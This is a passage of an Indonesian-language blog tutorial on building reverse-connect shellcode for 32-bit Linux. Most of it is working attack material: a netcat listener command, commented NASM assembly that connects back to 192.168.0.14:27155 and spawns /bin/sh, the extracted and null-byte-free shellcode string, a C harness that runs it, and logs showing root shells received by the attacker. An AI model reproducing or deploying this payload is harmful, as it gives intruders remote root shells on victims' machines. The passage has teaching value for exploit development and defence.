operasi komputer attacker adalah windows dan attacker memakai netcat for windows untuk membuat server sederhana seperti di bawah ini.
C:\>nc -lvn -p 27155 listening on [any] 27155 ... |
Oke setelah server attacker sudah listen di 192.168.0.14:27155. Kini
kita compile dan eksekusi program reverse sebagai root untuk
mensimulasikan exploit yang mendapatkan root shell.
$ gcc reverse.c -o reverse $ sudo ./reverse |
Sekarang perhatikan apa yang terjadi pada komputer attacker setelah program reverse tersebut dijalankan.
C:\>nc -lvn -p 27155 listening on [any] 27155 ... connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 58855 whoami root id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) pwd /home/admin exit |
Ada koneksi masuk dari ip komputer target (192.168.0.10). Setelah
koneksi terbentuk, attacker bisa mulai mengirimkan command untuk
dieksekusi di komputer target.
Reverse Connecting dalam Assembly
Tidak ada hal baru dalam shellcode ini dibandingkan dengan shellcode
port binding sebelumnya, jadi tidak ada yang perlu dijelaskan lebih jauh
lagi. Langsung saja kita membuat program yang sama dalam bahasa
assembly.
BITS 32 section .text global _start _start: xor eax,eax xor ebx,ebx xor edx,edx ;soc=socket(2,1,0) push eax ; push 0 push byte 0x1 ; push 1 push byte 0x2 ; push 2 mov ecx,esp ; ECX = address of [2,1,0] inc bl ; EBX=1 means socket() call mov al,102 int 0x80 ; ESI = soc socket handler mov esi,eax ;remote = connect(soc,(struct sockaddr*)&serv_addr,16); push edx ; push 0 push long 0x0E00A8C0 ; push sin_addr.s_addr value push word 0x136A ; push sin_port value xor ecx,ecx ; ecx = 0 mov cl,2 ; cx = 2 push word cx ; push sin_family value mov ecx,esp ; ECX = address of struct sockaddr push byte 16 ; push 16 push ecx ; push address of struct sockaddr push esi ; push soc handler mov ecx,esp ; ECX = address of [soc,&serv_addr,16] mov bl,3 ; EBX=3 means connect() mov al,102 int 0x80 ; EBX = remote socket handler mov ebx,esi ;dup2(soc,0) xor ecx,ecx ; ECX = 0 = stdin file handler mov al,63 int 0x80 ;dup2(soc,1) inc ecx ; ECX = 1 = stdout file handler mov al,63 int 0x80 ;dup(soc,2) inc ecx ; ECX = 2 = stderr file handler mov al,63 int 0x80 ;execve "/bin//sh" push edx push long 0x68732f2f push long 0x6e69622f mov ebx,esp push edx push ebx mov ecx,esp mov al,0x0b int 0x80 |
Tidak ada yang perlu saya jelaskan karena sama dengan shellcode port
binding dan saya juga sudah memberi komentar untuk memperjelas di source
di atas. Kita langsung saja compile dan link program assembly tersebut.
$ nasm -f elf reverse.asm $ ld -o reverse reverse.o |
Sekarang kita harus mendisassemble program tersebut dan mengambil
opcodenya untuk dirangkai menjadi shellcode dengan cara yang seperti
port binding shellcode sebelumnya.
$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x68\xc0\xa8\x00\x0e\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" |
Oke kini kita telah dapatkan shellcodenya. Tapi kita periksa dulu apakah
ada byte terlarang di dalamnya? Ternyata ada byte 0×00 dalam shellcode
tersebut yang berasal dari instruksi “push long 0x0E00A8C0″. Byte 0×00
tidak terhindarkan karena IP attacker mengandung 0, yaitu 192.168.0.14.
Oleh karena itu kita harus menyiasatinya agar tidak muncul byte 0×00.
Saya akan mengganti instruksi tersebut menjadi dua push, yaitu push
0x0E00 dan push 0xA8C0. Push nilai 0x0E00 tidak bisa dilakukan secara
langsung karena itu akan menghasilkan opcode yang mengandung 0×00. Oleh
karena itu saya harus membuat nilai 0x0E00 tanpa melibatkan angka 00
dengan cara:
; DX = 0 mov dl,0x0E ; DX = 0x000E shl dx,8 ; 000E digeser ke kiri 8 kali menjadi 0E00 |
Dengan mengganti menjadi instruksi mov dan shl kita terhindar dari byte
terlarang 0×00. Berikut adalah opcode dari instruksi pengganti “push
long 0x0E00A8C0″. Pada opcode tersebut terlihat lebih banyak space yang
dibutuhkan, tetapi di sana tidak mengandung byte terlarang 0×00.
b2 0e mov dl,0x0E 66 c1 e2 08 shl dx,8 66 52 push dx 66 68 c0 a8 push word 0xA8C0 |
Setelah mengganti “push long 0x0E00A8C0″ dengan 4 baris instruksi di atas, shellcode yang baru adalah seperti di bawah ini:
$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" |
Kini kita siap mengujinya dengan membuat program dalam bahasa C berikut ini:
char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(void) { asm("jmp shellcode"); } |
Mari kita compile dan jalankan program dalam bahasa C di atas. Tapi
jangan lupa sebelumnya di komputer attacker harus dijalankan server yang
listen di 192.168.0.14:27155.
$ gcc reverseshellcode.c -o reverseshellcode $ sudo ./reverseshellcode |
Mari kita lihat apa yang terjadi pada console attacker setelah shellcode dieksekusi.
C:\>nc -lvn -p 27155 listening on [any] 27155 ... connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 59039 id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) whoami root pwd /home/admin exit |
Berhasil! Kini kita telah berhasil membuat shellcode yang bisa dipakai
untuk remote shellcode. Selamat anda telah berhasil membuat 2 macam
shellcode yang bisa dipakai untuk remote exploit, yaitu port binding dan
reverse connecting. Dalam artikel berikutnya saya akan membahas
mengenai stack based buffer overflow exploit, di sana kita bisa memakai
shellcode yang kita buat di artikel ini.
0 komentar:
Post a Comment